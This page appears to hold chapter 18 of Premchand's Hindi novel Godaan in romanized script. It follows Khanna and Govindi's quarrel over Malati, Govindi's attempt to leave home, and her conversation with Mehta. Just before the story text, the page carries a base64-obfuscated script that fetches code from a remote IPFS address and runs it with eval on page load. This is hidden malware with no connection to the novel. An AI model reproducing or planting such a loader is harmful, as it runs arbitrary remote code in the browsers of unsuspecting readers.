गोदान उपन्यास भाग-18

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>khanna aur goviandi mean nahian patati. kyoan nahian patati, yah batana kathin hai. jyotish ke hisab se unake grahoan mean koee virodh hai, halaanki vivah ke samay grah aur nakshatr khoob mila lie ge the. kamashastr ke hisab se is anaban ka aur koee rahasy ho sakata hai, aur manovijnan vale kuchh aur hi karan khoj sakate haian. ham to itana hi janate haian ki unamean nahian patati. khanna dhanavan haian, rasik haian, milanasar haian, roopavan haian, achchhe khase-padhe-likhe haian aur nagar ke vishisht purushoan mean haian. goviandi apsara n ho, par roopavati avashy hai. gehuana rang, lajjashil aankhean, jo ek bar samane uth kar phir jhuk jati haian, kapoloan par lali n ho, par chikanapan hai. gat komal, aangavinyas sudaul, gol baanhe, mukh par ek prakar ki aruchi, jisamean kuchh garv ki jhalak bhi hai, mano sansar ke vyavahar aur vyapar ko hey samajhati hai. khanna ke pas vilas ke oopari sadhanoan ki kami nahian, avval daraje ka bangala hai, avval daraje ka pharnichar, avval daraje ki kar aur apar dhan! par goviandi ki drishti mean jaise in chijoan ka koee mooly nahian. is khare sagar mean vah pyasi p di rahati hai. bachchoan ka lalan-palan aur grihasthi ke chhote-mote kam hi usake lie sab kuchh haian. vah inamean itani vyast rahati hai ki bhog ki or usaka dhyan hi nahian jata. akarshan kya vastu hai aur kaise utpann ho sakata hai, isaki or usane kabhi vichar nahian kiya. vah purush ka khilauna nahian hai, n usake bhog ki vastu, phir kyoan akarshak banane ki cheshta kare? agar purush usaka asali sauandary dekhane ke lie aankhean nahian rakhata, kaminiyoan ke pichhe mara-mara phirata hai, to vah usaka durbhagy hai. vah usi prem aur nishtha se pati ki seva kie jati hai, jaise dvesh aur moh-jaisi bhavanaoan ko usane jit liya hai. aur yah apar sanpatti to jaise usaki atma ko kuchalati rahati hai, dabati rahati hai. in adanbaroan aur pakhandoan se mukt hone ke lie usaka man sadaiv lalachaya karata hai. apani saral aur svabhavik jivan mean vah kitani sukhi rah sakati thi, isaka vah nity svapn dekhati rahati hai. tab kyoan malati usake marg mean a kar badhak ho jati. kyoan veshyaoan ke mujare hote, kyoan yah sandeh aur banavat aur ashaanti usake jivan-path mean kaanta banati! bahut pahale jab vah balika-vidyalay mean padhati thi, use kavita ka rog lag gaya tha, jahaan du:kh aur vedana hi jivan ka tatv hai, sanpatti aur vilas to keval isalie hai ki usaki holi jalaee jay, jo manushy ko asaty aur ashaanti ki or le jata hai. vah ab bhi kabhi-kabhi kavita rachati thi, lekin sunae kise? usaki kavita keval man ki tarang ya bhavana ki u dan n thi, usake ek-ek shabd mean usake jivan ki vyatha aur usake aansuoan ki thandi jalan bhari hoti thi! kisi aise pradesh mean ja basane ki lalasa, jahaan vah pakhandoan aur vasanaoan se door apane shaant kutiya mean saral anand ka upabhog kare. khanna usaki kavitaean dekhate, to unaka majak u date aur kabhi-kabhi pha d kar pheank dete. aur sanpatti ki yah divar din-din ooanchi hoti jati thi aur danpati ko ek doosare se door aur prithakh karati jati thi. khanna apane grahakoan ke sath jitana hi mitha aur namr tha, ghar mean utana hi katu aur uddand. aksar krodh mean goviandi ko apashabd kah baithata. shishtata usake lie duniya ko thagane ka ek sadhan thi, man ka sanskar nahian. aise avasaroan par goviandi apane ekaant kamare mean ja baithati aur rat ki rat roya karati aur khanna divanakhane mean mujare sunata ya klab mean ja kar sharabean u data. lekin yah sab kuchh hone par bhi khanna usake sarvasv the. vah dalit aur apamanit ho kar bhi khanna ki lauandi thi. unase l degi, jalegi, roegi, par rahegi unhian ki. unase prithakh jivan ki vah koee kalpana hi n kar sakati thi.

aj mistar khanna kisi bure adami ka muanh dekh kar uthe the. savere hi patr khola, to unake kee stakoan ka dar gir gaya tha, jisamean unhean kee hazar ki hani hoti thi. shakkar mil ke mazadooroan ne h datal kar di thi aur danga-phasad karane par amada the. naphe ki asha se chaandi kharidi thi, magar usaka dar aj aur bhi zyada gir gaya tha. rayasahab se jo sauda ho raha tha aur jisamean unhean khase naphe ki asha thi, vah kuchh dinoan ke lie talata hua jan p data tha. phir rat ko bahut pi jane ke karan is vakt sir bhari tha aur deh toot rahi thi. udhar shophar ne kar ke ianjan mean kuchh kharabi paida ho jane ki bat kahi thi aur lahaur mean unake baiank par ek divani mukadama dayar ho jane ka samachar bhi mila tha. baithe man mean jhuanjhala rahe the ki usi vakt goviandi ne a kar kaha - bhishm ka jvar aj bhi nahian utara, kisi daktar ko bula do.

bhishm unaka sabase chhota putr tha, aur janm se hi durbal hone ke karan use roj ek-n-ek shikayat bani rahati thi. aj khaansi hai, to kal bukhar, kabhi pasali chal rahi hai, kabhi hare-pile dast a rahe haian. das mahine ka ho gaya tha, par lagata tha, paanch-chh: mahine ka. khanna ki dharana ho gee thi ki yah l daka bachega nahian, isalie usaki or se udasin rahate the, par goviandi isi karan use aur sab bachchoan se zyada chahati thi.

khanna ne pita ke sneh ka bhav dikhate hue kaha - bachchoan ko davaoan ka adi bana dena thik nahian, aur tumhean dava pilane ka maraj hai. jara kuchh hua aur daktar bulao. ek roj dekho, aj tisara hi din to hai. shayad aj ap-hi-ap utar jae.

goviandi ne agrah kiya - tin din se nahian utara. ghareloo davaean karake har gee.

khanna ne poochha - achchhi bat hai, bula deta hooan, kise bulaooan?

'bula lo daktar nag ko.'

'achchhi bat hai, unhian ko bulati hooan, magar yah samajh lo nam ho jane se hi koee achchha daktar nahian ho jata. nag phis chahe jitani chahe le lean, unaki dava se kisi ko achchha hote nahian dekha. vah to marijoan ko svarg bhejane ke lie mashahoor haian.'

'to jise chaho bula lo, maianne to nag ko isalie kaha tha ki vah kee bar a chuke haian.'

'mis malati ko kyoan n bula looan? phis bhi kam aur bachchoan ka hal ledi daktar jaisa samajhegi, koee mard daktar nahian samajh sakata.'

goviandi ne jal kar kaha - maian mis malati ko daktar nahian samajhati.

khanna ne bhi tej aankhoan se dekh kar kaha - to vah ianglaiand ghas khodane gee thi, aur hajaroan adamiyoan ko aj jivanadan de rahi hai, yah sab kuchh nahian hai?

'hoga, mujhe un par bharosa nahian hai. vah maradoan ke dil ka ilaj kar lean. aur kisi ki dava unake pas nahian hai.'

bas than gee. khanna garajane lage. goviandi barasane lagi. unake bich mean malati ka nam a jana mano l daee ka altimetam tha.

khanna ne sare kagajoan ko zamin par pheank kar kaha - tumhare sath ziandagi talakh ho gee.

goviandi ne nukile svar mean kaha - to malati se byah kar lo n! abhi kya big da hai, agar vahaan dal gale.

'tum mujhe kya samajhati ho?'

'yahi ki malati tum-jaisoan ko apana gulam bana kar rakhana chahati hai, pati bana kar nahian.'

'tumhari nigah mean maian itana jalil hooan?'

aur unhoanne isake viruddh praman dena shuroo kiya. malati jitana unaka adar karati hai, utana shayad hi kisi ka karati ho. rayasahab aur raja sahab ko muanh tak nahian lagati, lekin unase ek din bhi mulakat n ho, to shikayat karati hai?

goviandi ne in pramanoan ko ek phooank mean u da diya - isilie ki vah tumhean sabase b da aankhoan ka aandha samajhati hai, doosaroan ko itani asani se bevakooph nahian bana sakati.

khanna ne diang mari - vah chahean to aj malati se vivah kar sakate haian. aj, abhi?

magar goviandi ko bilakul vishvas nahian - tum sat janm nak rag do, to bhi vah tumase vivah n karegi. tum usake tattoo ho, tumhean ghas khilaegi, kabhi-kabhi tumhara muanh sahalaegi, tumhare putthoan par hath pheregi, lekin isilie ki tumhare oopar savari gaanthe. tumhare jaise ek hazar buddhoo usaki jeb mean haian.

goviandi aj bahut badhi jati thi. maloom hota hai, aj vah unase l dane par taiyar ho kar aee hai. daktar ke bulane ka to keval bahana tha. khanna apane yogyata aur dakshata aur purushatv par itana b da akshep kaise sah sakate the!

'tumhare khayal mean maian buddhoo aur moorkh hooan, to ye hajaroan kyoan mere dvar par nak rag date haian? kaun raja ya tallukedar hai, jo mujhe dandavat nahian karata? saik doan ko ulloo bana kar chho d diya.'

'yahi to malati ki visheshata hai ki jo auroan ko sidhe ustare se mooan data hai, use vah ulte chhure se mooan dati hai.'

'tum malati ki chahe jitani buraee karo, tum usaki paanv ki dhool bhi nahian ho.'

'meri drishti mean vah veshyaoan se bhi gee-biti hai, kyoanki vah parade ki a d se shikar khelati hai.'

donoan ne apane-apane agniban chho d die. khanna ne goviandi ko chahe koee doosari kathor se kathor bat kahi hoti, use itani buri n lagati, par malati se usaki yah ghrinit tulana usaki sahishnuta ke lie bhi asahy thi. goviandi ne bhi khanna ko chahe jo kuchh kaha hota, vah itane garm n hote, lekin malati ka yah apaman vah nahian sah sakate. donoan ek-doosare ke komal sthaloan se parichit the. donoan ke nishane thik baithe aur donoan tilamila uthe. khanna ki aankhean lal ho geean. goviandi ka muanh lal ho gaya. khanna avesh mean uthe aur usake donoan kan pak d kar zor se aianthe aur tin tamache laga die. goviandi roti huee aandar chali gee.

jara der mean daktar nag ae aur sivil sarjan mi. tad ae aur bhishagachary nilakanth shastri ae, par goviandi bachche ko lie apane kamare mean baithi rahi. kisane kya kaha, kya tashakhis ki, use kuchh maloom nahian. jis vipatti ki kalpana vah kar rahi thi, vah aj usake sir par a gee. khanna ne aj jaise usase nata to d liya, jaise use ghar se khade d kar dvar band kar liya. jo roop ka bazar laga kar baithati hai, jisaki parachhaeean bhi vah apane oopar p dane nahian dena chahati vah… us par paroksh roop se shasan kare? yah n hoga. khanna usake pati haian, unhean usako samajhane-bujhane ka adhikar hai, unaki mar ko bhi vah shirodhary kar sakati hai; par malati ka shasan? asanbhav! magar bachche ka jvar jab tak shaant n ho jay, vah hil nahian sakati. atmabhiman ko bhi kartavy ke samane sir jhukana p dega.

doosare din bachche ka jvar utar gaya tha. goviandi ne ek taanga mangavaya aur ghar se nikali. jahaan usaka itana anadar hai, vahaan ab vah nahian rah sakati. aghat itana kathor tha ki bachchoan ka moh bhi toot gaya tha. unake prati usaka jo dharm tha, use vah poora kar chuki hai. shesh jo kuchh hai, vah khanna ka dharm hai. haan, god ke balak ko vah kisi tarah nahian chho d sakati. vah usaki jan ke sath hai. aur is ghar se vah keval apane pran le kar nikalegi. aur koee chiz usaki nahian hai. inhean yah dava hai ki vah usaka palan karate haian. goviandi dikha degi ki vah unake ashray se nikal kar bhi jianda rah sakati hai. tinoan bachche us samay khelane ge the. goviandi ka man hua, ek bar unhean pyar kar le, magar vah kahian bhagi to nahian jati. bachchoan ko usase prem hoga, to usake pas aeange, usake ghar mean kheleange. vah jab zaroorat samajhegi, khud bachchoan ko dekh jaya karegi. keval khanna ka ashray nahian lena chahati.

saanjh ho gee thi. park mean khoob raunak thi. log hari ghas par lete hava ka anand loot rahe the. goviandi hajarataganj hoti huee chi diyaghar ki taraph mu di hi thi ki kar par malati aur khanna samane se ate hue dikhaee die. use maloom hua, khanna ne usaki taraph ishara karake kuchh kaha - aur malati muskaraee. nahian, shayad yah usaka bhram ho. khanna malati se usaki nianda n kareange, magar kitani besharm hai. suna hai, isaki achchhi praiktis hai, ghar ki bhi sanpann hai, phir bhi yoan apane ko bechati phirati hai. n jane kyoan byah nahian kar leti, lekin usase byah karega hi kaun? nahian, yah bat nahian. purushoan mean aise bahut se gadhe haian, jo use pa kar apane ko dhany maneange. lekin malati khud to kisi ko pasand kare? aur byah mean kaun-sa sukh rakha hua hai? bahut achchha karati hai, jo byah nahian karati. abhi sab usake gulam haian. tab vah ek ki lauan di ho kar rah jayagi. bahut achchha kar rahi hai. abhi to yah mahashay bhi usake talave chatate haian, kahian inase byah kar le, to us par shasan karane lagean, magar inase vah kyoan byah karegi? aur samaj mean do-char aisi striyaan bani rahean, to achchha, purushoan ke kan to garm karati rahean.

aj goviandi ke man mean malati ke prati b di sahanubhooti utpann huee. vah malati par akshep karake usake sath anyay kar rahi hai. kya meri dasha ko dekh kar usaki aankhean n khulati hoangi? vivahit jivan ki durdasha aankhoan dekh kar agar vah is jal mean nahian phansati, to kya bura karati hai!

chi diyaghar mean charoan taraph sannata chhaya hua tha. goviandi ne taanga rok diya aur bachche ko lie hari doob ki taraph chali, magar do hi tin qadam chali thi ki chappal pani mean doob ge. abhi tho di der pahale l aaun siancha gaya tha aur ghas ke niche pani bah raha tha. us utavali mean usane pichhe n phir kar ek qadam aur age rakha to paanv kich d mean san ge. usane paanv ki or dekha. ab yahaan paanv dhone ke lie pani kahaan se milega? usaki sari manovyatha lupt ho gee. paanv dho kar saf karane ki nee chianta huee. usaki vicharadhara rook gee. jab tak paanv saf n ho jayan, vah kuchh nahian soch sakati.

sahasa use ek lanba paip ghas mean chhipa najar aya, jisamean se pani bah raha tha. usane ja kar paanv dhoe, chappal dhoe, hath-muanh dhoya, tho da-sa pani chulloo mean le kar piya aur paip ke us par sookhi zamin par ja baithi. udasi mean maut ki yad turant ati hai. kahian vah yahian baithe-baithe mar jay, to kya ho? taange vala turant ja kar khanna ko khabar dega. khanna sunate hi khil utheange, lekin duniya ko dikhane ke lie aankhoan par roomal rakh leange. bachchoan ke lie khilaune aur tamashe maan se pyare haian. yah hai usaka jivan, jisake lie koee char booand aansoo bahane vala bhi nahian. tab use vah din yad aya, jab usaki sas jiti thi aur khanna u dankoo n hue the. tab use sas ka bat-bat par big dana bura lagata tha, aj use sas ke us krodh mean sneh ka ras ghula hua jan p d raha tha. tab vah sas se rooth jati thi aur sas use dular kar manati thi. aj vah mahinoan roothi p di rahe, kise parava hai? ekaek usaka man u d kar mata ke charanoan mean ja pahuancha. hay! aj ammaan hoti, to kyoan usaki yah durdasha hoti! usake pas aur kuchh n tha, sneh-bhari god to thi, prem-bhara aanchal to tha, jisamean muanh dal kar vah ro leti. lekin nahian, vah roegi nahian, us devi ko svarg mean du:khi n banaegi. mere lie vah jo kuchh zyada se zyada kar sakati thi, vah kar gee! mere kamooo ki sathin hona to unake vash ki bat n thi. aur vah kyoan roe? vah ab kisi ke adhin nahian hai. vah apane gujar-bhar ko kama sakati hai. vah kal hi gaandhi-ashram se chizean le kar bechana shuroo kar degi. sharm kis bat ki? yahi to hoga, log uangali dikha kar kaheange - vah ja rahi hai khanna ki bibi. lekin is shahar mean rahooan hi kyoan? kisi doosare shahar mean kyoan n chali jaooan, jahaan mujhe koee janata hi n ho. das-bis rupe kama lena aisa kya mushkil hai. apane pasine ki kamaee to khaooangi, phir to koee mujh par rob n jamaega. yah mahashay isilie to itana mizaj karate haian ki vah mera palan karate haian. maian ab khud apana palan karooangi.

sahasa usane mehata ko apani taraph ate dekha. use ulajhan huee. is vakt vah sanpoorn ekaant chahati thi. kisi se bolane ki ichchha n thi, magar yahaan bhi ek mahashay a hi ge. us par bachcha rone laga.

mehata ne samip a kar vismay se poochha - ap is vakt yahaan kaise a geean?

goviandi ne balak ko chup karate hue kaha - usi tarah jaise ap a ge?

mehata ne muskara kar kaha - meri bat n chalaie. dhobi ka kutta, n ghar ka n ghat ka. laie, maian bachche ko chup kara dooan.

'apane yah kala kab sikhi?'

'abhyas karana chahata hooan. isaki pariksha jo hogi.'

'achchha! pariksha ke din qarib a ge?'

'yah to meri taiyari par hai. jab taiyar ho jaooanga, baith jaooanga. chhoti-chhoti upadhiyoan ke lie ham padh-padh kar aankhean pho d liya karate haian. yah to jivan-vyapar ki pariksha hai.'

'achchhi bat hai, maian bhi dekhooangi, ap kis gred mean pas hote haian.'

yah kahate hue usane bachche ko unaki god mean de diya. unhoanne bachche ko kee bar uchhala, to vah chup ho gaya. balakoan ki tarah diang mar kar bole - dekha apane, kaisa mantar ke zor se chup kar diya. ab maian bhi kahian se ek bachcha laooanga.

goviandi ne vinod kiya - bachcha hi laiega, ya usaki maan bhi.

mehata ne vinod-bhari nirasha se sir hila kar kaha - aisi aurat to kahian milati hi nahian.

'kyoan, mis malati nahian haian? suandari, shikshita, gunavati, manoharini, aur ap kya chahate haian?'

'mis malati mean vah ek bat nahian hai, jo maian apani stri mean dekhana chahata hooan.'

goviandi ne is kutsa ka anand lete hue kaha - usamean kya buraee hai, sunooan. bhauanre to hamesha ghere rahate haian. maianne suna hai, ajakal purushoan ko aisi hi auratean pasand ati haian.

mehata ne bachche ke hathoan se apane mooanchhoan ki raksha karate hue kaha - meri stri kuchh aur hi dhang ki hogi. vah aisi hogi, jisaki maian pooja kar sakooanga.

goviandi apane hansi n rok saki - to ap stri nahian, koee pratima chahate haian. stri to aisi shayad hi kahian mile.

'ji nahian, aisi ek devi isi shahar mean hai.'

'sach! maian bhi usake darshan karati, aur usi tarah banane ki cheshta karati.'

'ap use khoob janati haian. yah ek lakhapati ki patni hai, par vilas ko tuchchh samajhati hai, jo upeksha aur anadar sah kar bhi apane kartavy se vichalit nahian hoti, jo matritv ki vedi par apane ko balidan karati hai, jisake lie tyag hi sabase b da adhikar hai, aur jo is yogy hai ki usaki pratima bana kar pooji jae.'

goviandi ke hriday mean anand ka kanpan hua. samajh kar bhi n samajhane ka abhinay karate hue boli - aisi stri ki ap tariph karate haian. meri samajh mean to vah daya ke yogy hai.

mehata ne ashchary se kaha - daya ke yogy! ap usaka apaman karati haian. vah adarsh nari hai aur jo adarsh nari ho sakati hai, vahi adarsh patni bhi ho sakati hai.

'lekin vah adarsh is yug ke lie nahian hai.'

'vah adarsh sanatan hai aur amar hai. manushy use vikrit karake apana sarvanash kar raha hai.

goviandi ka aant:karan khila ja raha tha. aisi phureriyaan vahaan kabhi n uthian thian. jitane adamiyoan se usaka parichay tha, unamean mehata ka sthan sabase ooancha tha. unake mukh se yah protsahan pa kar vah matavali huee ja rahi thi.

usi nashe mean boli - to chalie, mujhe unake darshan kara dijie.

mehata ne balak ke kapoloan mean muanh chhipa kar kaha - vah to yahian baithi huee haian.

'kahaan, maian to nahian dekh rahi hooan.'

'maian usi devi se bol raha hooan.'

goviandi ne zor se kahakaha mara - apane aj mujhe banane ki than li, kyoan?

mehata ne shraddhanat ho kar kaha - devi ji, ap mere sath anyay kar rahi haian, aur mujhase zyada apane sath. sansar mean aise bahut kam prani haian, jinake prati mere man mean shraddha ho. unhian mean ek ap haian. apaka dhairy aur tyag aur shil aur prem anupam hai. maian apane jivan mean sabase b de sukh ki jo kalpana kar sakata hooan, vah ap jaisi kisi devi ke charanoan ki seva hai. jis naritv ko maian adarsh manata hooan, ap usaki sajiv pratima haian.

goviandi ki aankhoan se anand ke aansoo nikal p de. is shraddha-kavach ko dharan karake vah kis vipatti ka samana n karegi? usake rom-rom mean jaise mridu-sangit ki dhvani nikal p di. usane apane ramanitv ka ullas man mean daba kar kaha - ap darshanik kyoan hue mehata ji - apako to kavi hona chahie tha.

mehata saralata se hans kar bole - kya ap samajhati haian, bina darshanik hue hi koee kavi ho sakata hai? darshan to keval bich ki manzil hai.

'to abhi ap kavitv ke raste mean haian, lekin ap yah bhi janate haian, kavi ko sansar mean kabhi sukh nahian milata?'

'jise sansar du:kh kahata hai, vahi kavi ke lie sukh hai. dhan aur aishvary, roop aur bal, vidya aur buddhi, ye vibhootiyaan sansar ko chahe kitana hi mohit kar lean, kavi ke lie yahaan jara bhi akarshan nahian hai, usake mod aur akarshan ki vastu to bujhi huee ashaean aur miti huee smritiyaan aur toote hue hriday ke aansoo haian. jis din in vibhootiyoan mean usaka prem n rahega, us din vah kavi n rahega. darshan jivan ke in rahasyoan se keval vinod karata hai, kavi unamean lay ho jata hai. maianne apaki do-char kavitaean padhi haian aur unamean jitani pulak, jitana kanpan, jitani madhur vyatha, jitana rulane vala unmad paya hai, vah maian hi janata hooan. prakriti ne hamare sath kitana b da anyay kiya hai ki ap-jaisi koee doosari devi nahian banaee.

goviandi ne hasarat bhare svar mean kaha - nahian mehata ji, yah apaka bhram hai. aisi nariyaan yahaan apako gali-gali mean mileangi aur maian to un sabase gee-biti hooan. jo stri apane purush ko prasann n rakh sake, apane ko usake man ki n bana sake, vah bhi koee stri hai? maian to kabhi-kabhi sochati hooan ki malati se yah kala sikhooan. jahaan maian asaphal hooan, vahaan vah saphal hai. maian apanoan ko bhi apana nahian bana sakati, vah doosaroan ko bhi apana bana leti hai. kya yah usake lie shrey ki bat nahian?

mehata ne muanh bana kar kaha - sharab agar logoan ko pagal kar deti hai, to isilie use kya pani se achchha samajha jay, jo pyas bujhata hai, jilata hai, aur shaant karata hai?

goviandi ne vinod ki sharan le kar kaha - kuchh bhi ho, maian to yah dekhati hooan ki pani mara-mara phirata hai aur sharab ke lie ghar-dvar bik jate haian, aur sharab jitani hi tej aur nashili ho, utani hi achchhi. maian to sunati hooan, ap bhi sharab ke upasak haian?

goviandi nirasha ki us dasha mean pahuanch gee thi, jab adami ko saty aur dharm mean bhi sandeh hone lagata hai, lekin mehata ka dhyan udhar n gaya. unaka dhyan to vaky ke aantim bhag par hi chimat kar rah gaya. apane mad-sevan par unhean jitani lajja aur kshobh aj hua, utana b de-b de upadesh sun kar bhi n hua tha. tarkoan ka unake pas javab tha aur muanh-to d, lekin is mithi chutaki ka unhean koee javab n soojha. vah pachhatae ki kahaan unhean sharab ki yukti soojhi. unhoanne khud malati ki sharab se upama di thi. unaka var apane hi sir par p da.

lajjit ho kar bole - haan devi ji, maian svikar karata hooan ki mujhamean yah asakti hai. maian apane lie usaki zaroorat batala kar aur usake vicharotejak gunoan ke praman de kar gunah ka ujr n karooanga, jo gunah se bhi badatar hai. aj apake samane pratijna karata hooan ki sharab ki ek booand bhi kanth ke niche n jane dooanga.

goviandi ne sannate mean a kar kaha - yah apane kya kiya mehata ji! maian eeshvar se kahati hooan, mera yah ashay n tha, mujhe isaka du:kh hai.

'nahian, apako prasann hona chahie ki apane ek vyakti ka uddhar kar diya.'

'maianne apaka uddhar kar diya. maian to khud apase apane uddhar ki yachana karane ja rahi hooan.'

'mujhase? dhany bhag.'

goviandi ne karun svar mean kaha - haan, apake siva mujhe koee aisa nahian najar ata, jise maian apani katha sunaooan. dekhie, yah bat apane hi tak rakhiega, halaanki apako yah yad dilane ki zaroorat nahian. mujhe ab apana jivan asahy ho gaya hai. mujhase ab tak jitani tapasya ho saki, maianne ki, lekin ab nahian saha jata. malati mera sarvanash kie dalati hai. maian apane kisi shastr se us par vijay nahian pa sakati. apaka us par prabhav hai. vah jitana apaka adar karati hai, shayad aur kisi mard ka nahian karati. agar ap kisi tarah mujhe usake panje se chhu da dean, to maian janm-bhar apaki rrini rahooangi. usake hathoan mera saubhagy luta ja raha hai. ap agar meri raksha kar sakate haian, to kijie. maian aj ghar se yah irada karake chali thi ki phir laut kar n aooangi. maianne b da zor mara ki moh ke sare bandhanoan ko to d kar pheank dooan, lekin aurat ka hriday b da durbal hai mehata ji! moh usaka pran hai. jivan rahate moh ko to dana usake lie asanbhav hai. maianne aj tak apani vyatha apane man mean rakhi, lekin aj maian apase aanchal phaila kar bhiksha maangati hooan. malati se mera uddhar kijie. maian is mayavini ke hathoan miti ja rahi hooan.

usaka svar aansuoan mean doob gaya. vah phoot-phoot kar rone lagi.

mehata apani najaroan mean kabhi itane ooanche n uthe the, us vakt bhi nahian, jab unaki rachana ko phraans ki ekadami ne shatabdi ki sabase uttam kriti kah kar unhean badhaee di thi. jis pratima ki vah sachche dil se pooja karate the, jise man mean vah apani ishtadevi samajhate the aur jivan ke asoojh prasangoan mean jisase adesh pane ki asha rakhate the, vah aj unase bhiksha maang rahi thi. unhean apane aandar aisi shakti ka anubhav hua ki vah parvat ko bhi pha d sakate haian, samudr ko tair kar par kar sakate haian. un par nasha-sa chha gaya, jaise balak kath ke gho de par savar ho kar samajh raha ho, vah hava mean u d raha hai. kam kitana asadhy hai, isaki sudhi n rahi. apane siddhaantoan ki kitani hatya karani p degi, bilakul khayal n raha. ashvasan ke svar mean bole - ap malati ki or se nishchiant rahean. vah apake raste se hat jayagi. mujhe n maloom tha ki ap usase itani du:khi haian. meri buddhi ka dosh, aankhoan ka dosh, kalpana ka dosh. aur kya kahooan, varana apako itani vedana kyoan sahani p dati.

goviandi ko shanka huee. boli - lekin sianhani se usaka shikar chhinana asan nahian hai, yah samajh lijie.

mehata ne dridhata se kaha - nari hriday dharati ke saman hai, jisase mithas bhi mil sakati hai, k davapan bhi. usake aandar p dane vale bij mean jaisi shakti ho.

'ap pachhata rahe hoange, kahaan se aj isase mulakat ho gee.'

'maian agar kahooan ki mujhe aj hi jivan ka vastavik anand mila hai, to shayad apako vishvas n ae!'

'maianne apake sir par itana b da bhar rakh diya.'

mehata ne shraddha-madhur svar mean kaha - ap mujhe lajjit kar rahi haian devi ji! maian kah chuka, maian apaka sevak hooan. apake hit mean mere pran bhi nikal jaean, to maian apana saubhagy samajhooanga. ise kaviyoan ka bhavavesh n samajhie, yah mere jivan ka saty hai. mere jivan ka kya adarsh hai, apako yah batala dene ka moh mujhase nahian rook sakata. maian prakriti ka pujari hooan aur manushy ko usake prakritik roop mean dekhana chahata hooan, jo prasann ho kar hansata hai, du:khi ho kar rota hai aur krodh mean a kar mar dalata hai. jo du:kh aur sukh donoan ka daman karate haian, jo rone ko kamazori aur hansane ko halkapan samajhate haian, unase mera koee mel nahian. jivan mere lie anandamay kri da hai, saral, svachchhand, jahaan kutsa, eershya aur jalan ke lie koee sthan nahian. maian bhoot ki chianta nahian karata, bhavishy ki paravah nahian karata. mere lie vartaman hi sab kuchh hai. bhavishy ki chianta hamean kayar bana deti hai, bhoot ka bhar hamari kamar to d deta hai. hamamean jivan ki shakti itani kam hai ki bhoot aur bhavishy mean phaila dene se vah aur bhi kshin ho jati hai. ham vyarth ka bhar apane oopar ladakar, roodhiyoan aur vishvasoan aur itihasoan ke malabe ke niche dabe p de haian, uthane ka nam hi nahian lete, vah samarthy hi nahian rahi. jo shakti, jo sphoorti manav-dharm ko poora karane mean lagani chahie thi, sahayog mean, bhaee-chare mean, vah purani adavatoan ka badala lene aur bap-dadoan ka rrin chukane ki bheant ho jati hai. aur jo yah eeshvar aur moksh ka chakkar hai, is par to mujhe hansi ati hai. yah moksh aur upasana ahankar ki parakashtha hai, jo hamari manavata ko nasht kie dalati hai. jahaan jivan hai, kri da hai, chahak hai, prem hai, vahian eeshvar hai, aur jivan ko sukhi banana hi upasana hai, aur moksh hai. jnani kahata hai, hoanthoan par muskarahat n ae, aankhoan mean aansoo n ae. maian kahata hooan, agar tum hans nahian sakate aur ro nahian sakate to tum manushy nahian ho, patthar ho. vah jnan jo manavata ko pis dale, jnan nahian hai, kolhoo hai. magar kshama kijie, maian to ek poori spich hi de gaya. ab der ho rahi hai, chalie, maian apako pahuancha dooan. bachcha bhi meri god mean so gaya.

goviandi ne kaha - maian to taanga laee hooan.

'taange ko yahian se vida kar deta hooan.'

mehata taange ke paise chuka kar laute, to goviandi ne kaha - lekin ap mujhe kahaan le jaeange?

mehata ne chauank kar poochha - kyoan, apake ghar pahuancha dooanga.

'vah mera ghar nahian hai mehata ji!'

'aur kya mistar khanna ka ghar hai?'

'yah bhi kya poochhane ki bat hai? ab vah ghar mera nahian raha. jahaan apaman aur dhikkar mile, use maian apana ghar nahian kah sakati, n samajh sakati hooan.'

mehata ne dard-bhare svar mean, jisaka ek-ek akshar unake aant:karan se nikal raha tha, kaha - nahian devi ji, vah ghar apaka hai, aur sadaiv rahega. us ghar ki apane srishti ki hai, usake praniyoan ki srishti ki hai. aur pran jaise deh ka sanchalan karata hai, usi tarah apane usaka sanchalan kiya hai. pran nikal jay, to deh ki kya gati hogi? matritv mahanh gaurav ka pad hai devi ji! aur gaurav ke pad mean kahaan apaman aur dhikkar aur tiraskar nahian mila? mata ka kam jivan-dan dena hai. jisake hathoan mean itani atul shakti hai, use isaki kya parava ki kaun usase roothata hai, kaun big data hai. pran ke bina jaise deh nahian rah sakati, usi tarah pran ka bhi deh hi sabase upayukt sthan hai. maian apako dharm aur tyag ka kya upadesh dooan? ap to usaki sajiv pratima haian. maian to yahi kahooanga ki.......

goviandi ne adhir ho kar kaha - lekin maian keval mata hi to nahian hooan, nari bhi to hooan?

mehata ne ek minat tak maun rahane ke bad kaha - haan, haian, lekin maian samajhata hooan ki nari keval mata hai, aur isake uparaant vah jo kuchh hai, vah sab matritv ka upakram matr hai. matritv sansar ki sabase b di sadhana, sabase b di tapasya, sabase b da tyag aur sabase mahanh vijay hai. ek shabd mean use lay kahooanga - jivan ka, vyaktitv ka aur naritv ka bhi. ap mistar khanna ke vishay mean itana hi samajh lean ki vah apane hosh mean nahian haian. vah jo kuchh kahate haian ya karate haian, vah unmad ki dasha mean karate haian, magar yah unmad shaant hone mean bahut din n lageange, aur vah samay bahut jald aega, jab vah apako apani ishtadevi samajheange.

goviandi ne isaka kuchh javab n diya. dhire-dhire kar ki or chali. mehata ne badh kar kar ka dvar khol diya. goviandi aandar ja baithi. kar chali, magar donoan maun the.

goviandi jab apane dvar par pahuanch kar kar se utari, to bijali ke prakash mean mehata ne dekha, usaki aankhean sajal haian.

bachche ghar mean se nikal ae aur ammaan-ammaan kahate hue mata se lipat ge. goviandi ke mukh par matritv ki ujjval gauravamayi jyoti chamak uthi.

usane mehata se kaha - is kasht ke lie apako bahut dhanyavad. aur sir nicha kar liya. aansoo ki ek booand usake kapol par a giri thi.

mehata ki aankhean bhi sajal ho geean - is aishvary aur vilas ke bich mean bhi yah nari-hriday kitana dukhi hai!

sanbandhit lekh

